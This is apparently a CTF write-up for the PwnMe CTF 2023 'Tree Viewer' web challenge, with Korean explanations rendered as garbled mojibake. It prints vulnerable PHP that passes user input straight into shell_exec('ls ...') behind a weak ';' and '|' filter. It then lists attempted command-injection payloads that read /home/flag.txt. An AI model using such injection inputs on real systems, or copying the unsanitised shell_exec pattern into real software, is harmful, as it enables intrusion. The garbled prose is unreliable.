[PwnMe CTF 2023] Tree Viewer WriteUp
# Tree Viewer WriteUp
1. λ¨Όμ λ¬Έμ λ₯Ό νμΈν ν, 컨ν μ΄λλ₯Ό μ΄μ΄ μΉνμ΄μ§λ‘ μ μ
2. μ μ ν μλμ κ°μ νλ©΄μ νμΈ
3. μ¬μ©μ μ λ ₯λμ '12', '/hoho/23'μ΄λΌλ κ°μ μ λ ₯ν΄λ³Έ κ²°κ³Ό μλμ κ°μ μΆλ ₯μ νμΈν μ μμλ€.
4. λ©μΈ νλ©΄μ Source code λΆλΆμ μ΄μ΄ μ½λλ₯Ό νμΈνμλ€.
<?php
$parsed = isset($_POST['input']) ? $_POST['input'] : "/home/";
preg_match_all('/[;|]/m', $parsed, $illegals, PREG_SET_ORDER, 0);
if($illegals){
echo "Illegals chars found";
$parsed = "/home/";
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tree Viewer</title>
</head>
<body>
<a href="/?source">Source code</a>
<hr/>
<form action="/" method="post">
<label for="input">Directory to check</label>
<input type="text" placeholder="Directory to see" id="input" name="input" value="<?= $parsed ?>">
</form>
<h3>Content of <?= $parsed ?>: <?= shell_exec('ls '.$parsed); ?></h3>
</body>
</html>
+ μ½λμ 첫 λΆλΆμμ μ λ ₯λ ν΄λ κ²½λ‘λ₯Ό νμ±
--> μ λ ₯λ κ²½λ‘κ° μ‘΄μ¬νμ§ μκ±°λ, μ μμ μΈ λ¬Έμκ° μλ ' ; ' λλ ' | 'μ κ°μ λ¬Έμκ° ν¬ν¨λμ΄ μλ κ²½μ° κ²½λ‘λ₯Ό "/home/"μΌλ‘ λ체
+ HTML νΌμ λ λλ§νμ¬ μ¬μ©μκ° Directory to check λΌλ²¨ νλ¨μ ν΄λ κ²½λ‘λ₯Ό μ λ ₯ν μ μκ² ν¨
--> μ λ ₯ νλλ input μ΄λΌλ μ΄λ¦μΌλ‘ POST μμ²μ ν΅ν΄ μ μ‘
+ h3 νκ·Έ μ¬μ΄μ κ°μ νμ¬ κ²½λ‘μ νμΌκ³Ό ν΄λλ₯Ό 보μ¬μ£Όλ©°, shell_exec() ν¨μλ₯Ό μ¬μ©νμ¬ μ¬μ©μκ° μ λ ₯ν κ²½λ‘μ νμΌκ³Ό ν΄λ μΆλ ₯
5. μμ€μ½λμ μ·¨μ½μ μ μ΄μ©νμ¬ μλμ κ°μ μ λ ₯κ°λ€λ‘ μλν΄λ³΄μλ€.
+ μλν μ λ ₯κ°λ€
$(cat /home/flag.txt) |
`cat /home/flag.txt` |
system("cat /home/flag.txt") |
$(cat /home/flag.txt) |
$(cat /home/flag.txt >&2) |
$(ls /home/; cat /home/flag.txt) |
$((cat /home/flag.txt)) |
${cat,/home/flag.txt} |
/home/flag && cat /home/flag.txt |
/home/11; cat /home/flag.txt |
/home/flag.txt |